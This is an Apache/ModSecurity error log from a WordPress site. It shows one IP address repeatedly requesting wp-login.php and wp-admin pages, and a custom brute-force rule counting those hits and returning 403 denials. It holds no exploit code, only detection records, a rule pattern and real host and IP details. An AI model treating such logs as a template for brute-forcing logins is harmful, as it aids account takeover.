[Wed Nov 12 23:10:27.084500 2025] [:error] [pid 60096:tid 60158] [client 62.60.130.213:50810] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjYzmzkhCvvk8DXOzTGgAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:31.874989 2025] [:error] [pid 60096:tid 60129] [client 62.60.130.213:58469] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSjZzmzkhCvvk8DXOzTHwAAAIM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:34.051843 2025] [:error] [pid 60097:tid 60154] [client 62.60.130.213:52164] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjasdT5oio_TbWpi-ufwAAAMY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:37.350693 2025] [:error] [pid 60097:tid 60170] [client 62.60.130.213:52164] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjbcdT5oio_TbWpi-uhAAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:39.236864 2025] [:error] [pid 60097:tid 60162] [client 62.60.130.213:52164] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjb8dT5oio_TbWpi-uiAAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:41.140245 2025] [:error] [pid 60097:tid 60177] [client 62.60.130.213:52164] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSjccdT5oio_TbWpi-uiQAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:42.807513 2025] [:error] [pid 23737:tid 23765] [client 62.60.130.213:64672] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSjchQUsVVfOZWgW_X10wAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:47.413641 2025] [:error] [pid 12744:tid 12756] [client 62.60.130.213:55776] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSjd51cp_ouUvkFj0Wa-AAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:48.972135 2025] [:error] [pid 23737:tid 23766] [client 62.60.130.213:51551] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjeBQUsVVfOZWgW_X15QAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:48.972216 2025] [:error] [pid 23737:tid 23766] [client 62.60.130.213:51551] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjeBQUsVVfOZWgW_X15QAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:56.879687 2025] [:error] [pid 12744:tid 12769] [client 62.60.130.213:64888] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjgJ1cp_ouUvkFj0WbHQAAARU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:58.478403 2025] [:error] [pid 12744:tid 12756] [client 62.60.130.213:64888] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSjgp1cp_ouUvkFj0WbIAAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:00.141928 2025] [:error] [pid 60095:tid 60109] [client 62.60.130.213:56111] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjhHlw2elroagFF1pgnwAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:01.811727 2025] [:error] [pid 60180:tid 60193] [client 62.60.130.213:50867] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSjhVhgd7ccS8EZg1p4hgAAAUs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:05.333373 2025] [:error] [pid 60096:tid 60137] [client 62.60.130.213:54731] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjiTmzkhCvvk8DXOzTLgAAAIs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:05.964848 2025] [:error] [pid 60096:tid 60138] [client 62.60.130.213:54731] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSjiTmzkhCvvk8DXOzTMAAAAIw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:07.529101 2025] [:error] [pid 60095:tid 60123] [client 62.60.130.213:56326] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSji3lw2elroagFF1pgoQAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:09.076516 2025] [:error] [pid 60180:tid 60185] [client 62.60.130.213:49914] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjjVhgd7ccS8EZg1p4iQAAAUM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:10.817081 2025] [:error] [pid 23737:tid 23749] [client 62.60.130.213:51909] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSjjhQUsVVfOZWgW_X19wAAAYA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:14.677294 2025] [:error] [pid 23737:tid 23756] [client 62.60.130.213:64018] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjkhQUsVVfOZWgW_X1_QAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:30.895355 2025] [:error] [pid 60180:tid 60189] [client 62.60.130.213:62604] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjolhgd7ccS8EZg1p4qAAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:36.529812 2025] [:error] [pid 60180:tid 60184] [client 62.60.130.213:62604] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjqFhgd7ccS8EZg1p4tQAAAUI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:36.529936 2025] [:error] [pid 60180:tid 60184] [client 62.60.130.213:62604] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 16"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjqFhgd7ccS8EZg1p4tQAAAUI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:40.767841 2025] [:error] [pid 60097:tid 60170] [client 62.60.130.213:59612] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjrMdT5oio_TbWpi-urwAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:44.867352 2025] [:error] [pid 60097:tid 60176] [client 62.60.130.213:59612] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjsMdT5oio_TbWpi-utAAAANc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:46.588293 2025] [:error] [pid 60097:tid 60174] [client 62.60.130.213:59612] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjssdT5oio_TbWpi-utwAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:48.940159 2025] [:error] [pid 60097:tid 60173] [client 62.60.130.213:59612] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjtMdT5oio_TbWpi-uvgAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:50.602584 2025] [:error] [pid 12744:tid 12756] [client 62.60.130.213:50069] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSjtp1cp_ouUvkFj0WbZAAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:11:56.238327 2025] [:error] [pid 23737:tid 23766] [client 62.60.130.213:53347] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjvBQUsVVfOZWgW_X2iQAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:03.718136 2025] [:error] [pid 12744:tid 12769] [client 62.60.130.213:55134] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjw51cp_ouUvkFj0WbcAAAARU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:06.991908 2025] [:error] [pid 12744:tid 12764] [client 62.60.130.213:55134] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjxp1cp_ouUvkFj0WbdgAAARA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:08.026568 2025] [:error] [pid 12744:tid 12751] [client 62.60.130.213:55134] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSjyJ1cp_ouUvkFj0WbeAAAAQM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:12.273258 2025] [:error] [pid 60405:tid 60421] [client 62.60.130.213:51394] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSjzHMGv_mlVi6mf5o1GAAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:13.829273 2025] [:error] [pid 12744:tid 12762] [client 62.60.130.213:59040] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjzZ1cp_ouUvkFj0WbfAAAAQ4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:24.247905 2025] [:error] [pid 60096:tid 60155] [client 62.60.130.213:63170] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSj2DmzkhCvvk8DXOzTYwAAAJU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:27.555222 2025] [:error] [pid 12744:tid 12771] [client 62.60.130.213:64250] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSj251cp_ouUvkFj0WbhQAAARc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:30.458928 2025] [:error] [pid 12744:tid 12762] [client 62.60.130.213:64250] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSj3p1cp_ouUvkFj0WbhgAAAQ4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:33.355300 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:62659] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSj4cdT5oio_TbWpi-u3AAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:39.020006 2025] [:error] [pid 60096:tid 60146] [client 62.60.130.213:64045] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSj5zmzkhCvvk8DXOzTcAAAAJE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:42.659542 2025] [:error] [pid 23737:tid 23751] [client 62.60.130.213:64977] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSj6hQUsVVfOZWgW_X2yQAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:45.508836 2025] [:error] [pid 60405:tid 60432] [client 62.60.130.213:57324] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSj7XMGv_mlVi6mf5o1LQAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:55.567156 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:49345] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSj9xQUsVVfOZWgW_X24AAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:55.567246 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:49345] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSj9xQUsVVfOZWgW_X24AAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:12:58.607419 2025] [:error] [pid 60097:tid 60166] [client 62.60.130.213:55670] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSj-sdT5oio_TbWpi-vEQAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:01.651688 2025] [:error] [pid 60097:tid 60170] [client 62.60.130.213:55670] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSj_cdT5oio_TbWpi-vFgAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:04.230919 2025] [:error] [pid 60097:tid 60150] [client 62.60.130.213:55670] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkAMdT5oio_TbWpi-vGAAAAMQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:06.516609 2025] [:error] [pid 60097:tid 60164] [client 62.60.130.213:55670] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkAsdT5oio_TbWpi-vHwAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:07.089972 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:55670] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSkA8dT5oio_TbWpi-vIAAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:13.929982 2025] [:error] [pid 60405:tid 60418] [client 62.60.130.213:61058] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSkCXMGv_mlVi6mf5o1UQAAAAo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:15.622241 2025] [:error] [pid 12744:tid 12759] [client 62.60.130.213:61558] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSkC51cp_ouUvkFj0WbyAAAAQs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:17.265691 2025] [:error] [pid 12744:tid 12767] [client 62.60.130.213:63765] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSkDZ1cp_ouUvkFj0WbygAAARM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:18.853345 2025] [:error] [pid 23737:tid 23767] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkDhQUsVVfOZWgW_X3AAAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
